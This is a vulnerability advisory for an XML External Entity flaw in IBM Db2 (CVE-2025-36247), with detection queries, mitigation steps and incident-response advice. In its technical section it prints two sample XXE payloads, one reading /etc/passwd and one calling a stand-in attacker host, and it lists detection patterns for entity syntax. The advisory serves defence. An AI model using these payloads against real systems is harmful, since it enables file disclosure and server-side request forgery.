IBM Db2 – CVE-2025-36247 XML External Entity (XXE) Vulnerability
CVE ID: CVE-2025-36247
Product: IBM Db2
Vulnerability Type: XML External Entity (XXE)
CVSS v3.1 Base Score: 7.1 (High)
Severity: High
Exploitability: Remote, when untrusted XML is processed
Exploit Availability: No confirmed public exploit released; technically straightforward to weaponize due to known XXE techniques
Overview
A vulnerability has been identified in IBM Db2 related to how XML input is parsed and processed. Under certain versions and configurations, the XML parser allows resolution of external entities. This behavior enables malicious XML content to reference local or remote resources, which are then retrieved and processed by the database engine.
When XML input is accepted from applications, APIs, or middleware without proper validation or parser hardening, the database may unknowingly process attacker-controlled entity definitions. This condition leads to potential disclosure of sensitive data or unintended outbound network activity.
Affected Products
The vulnerability impacts IBM Db2 for Linux, UNIX, and Windows editions that support XML processing features, including Db2 Connect Server environments acting as XML gateways.
Exact fixed versions and maintenance levels are documented in the official IBM security bulletin. Any deployment running versions prior to the listed fixed builds should be considered vulnerable until verified otherwise.
Technical Details
The issue stems from improper restriction of XML external entity references. XML supports Document Type Definitions (DTDs), which allow entity declarations. External entities can reference local files or remote URLs.
In affected versions, external entity resolution was not sufficiently restricted. When an XML document containing a malicious entity definition is processed, the parser resolves that entity and substitutes its contents into the document structure.
Example of a local file disclosure payload (for controlled testing only):
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
If processed by a vulnerable parser, the contents of the referenced file are inserted into the XML result.
Remote reference example:
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY exfil SYSTEM "http://attacker-server.com/collect">
]>
<root>&exfil;</root>
In this case, the database host initiates an outbound HTTP request, potentially leaking information or enabling internal network probing.
Impact
Successful exploitation may lead to:
- Unauthorized disclosure of sensitive files
- Exposure of configuration data or credentials
- Server-side request forgery (SSRF) conditions
- Internal network scanning via outbound callbacks
- Resource exhaustion through recursive or malicious entity expansion
- Service instability or denial of service
The risk level increases significantly if XML inputs originate from untrusted or externally accessible sources.
Exploitation Considerations
Although no confirmed public exploit package has been released, XXE vulnerabilities are widely understood and easy to reproduce. Crafting malicious XML requires minimal effort using standard HTTP clients or interception tools.
Exploitation does not require privileged database access if XML processing endpoints are exposed indirectly through applications or APIs.
Testing must only be conducted in authorized environments.
Detection Strategies
Application and API Log Monitoring
Search for suspicious XML constructs in request bodies:
Common Indicators
"<!DOCTYPE"
"<!ENTITY"
"SYSTEM"
"file://"
"http://"
"https://"
Splunk Example
index=web_logs request_body="*<!DOCTYPE*" request_body="*<!ENTITY*"
index=api_logs request_body="*SYSTEM*" (request_body="*file://*" OR request_body="*http://*")
Elastic / Kibana Example
request_body:"<!DOCTYPE" AND request_body:"<!ENTITY"
request_body:"SYSTEM" AND (request_body:"file://" OR request_body:"http://")
These queries help identify suspicious XML payloads containing entity definitions.
Network Monitoring
Outbound connections from database servers should be strictly controlled. Indicators of compromise include:
- HTTP requests from Db2 hosts to unknown external domains
- Unexpected DNS queries initiated by database servers
- Outbound traffic immediately following XML submissions
Example search logic:
src_host="db2_server" AND dest_domain!="approved-domain-list"
src_ip="db2_ip" AND dest_port=80 OR dest_port=443
Outbound network activity from database servers is uncommon in tightly controlled environments and should trigger investigation.
Db2 Log Analysis
Examine Db2 diagnostic and activity logs for:
- XML parsing errors referencing entities
- Unexpected file path references
- Sudden memory usage spikes during XML operations
- Repeated XML validation failures
Search patterns:
"ENTITY" AND "error"
"XML parse" AND "SYSTEM"
Correlate these events with incoming XML submissions.
Automated Detection Rule Concepts
XML Entity Declaration Detection
Alert when HTTP or API request body contains both:
<!DOCTYPE
<!ENTITY
External Reference Detection
Alert when request body contains:
SYSTEM
combined with:
file://
http://
https://
Behavioral Correlation
Generate alerts when:
- A database server receives XML input containing entity syntax
- Within a short timeframe, outbound DNS or HTTP activity is observed from that same host
These correlation rules significantly reduce false positives while detecting active exploitation.
Mitigation
Patch and Upgrade
The vulnerability is fully remediated by applying the official IBM security update.
Official Patch / Upgrade Link:
https://www.ibm.com/support/pages/security-bulletin-ibm%C2%AE-db2%C2%AE-vulnerable-external-entities-parsing-xml
All affected systems should be upgraded to the fixed maintenance level specified by IBM.
Configuration Hardening
If immediate patching cannot be completed, the following controls should be implemented:
- Disable external entity resolution in XML parsers where configurable
- Reject XML documents containing DOCTYPE declarations at the application layer
- Deploy WAF rules blocking ENTITY and SYSTEM constructs
- Restrict outbound internet access from Db2 servers
- Monitor and alert on abnormal XML parsing activity
Incident Response Guidance
If exploitation is suspected:
- Preserve Db2 diagnostic logs
- Collect application access logs containing XML payloads
- Review firewall and DNS logs for unexpected outbound connections
- Check for data leakage in HTTP responses
- Inspect memory and CPU utilization history for abnormal spikes
Evidence correlation between XML ingestion events and outbound traffic is key to confirming compromise.
Conclusion
CVE-2025-36247 represents a high-severity XML External Entity vulnerability in IBM Db2 that can lead to data disclosure and server-side request forgery if untrusted XML is processed without restriction. Even without a publicly released exploit, the vulnerability is technically straightforward to abuse.
Immediate patching combined with strong input validation and outbound traffic controls provides effective protection. Continuous monitoring of XML ingestion points and database host behavior remains critical for early detection of exploitation attempts.
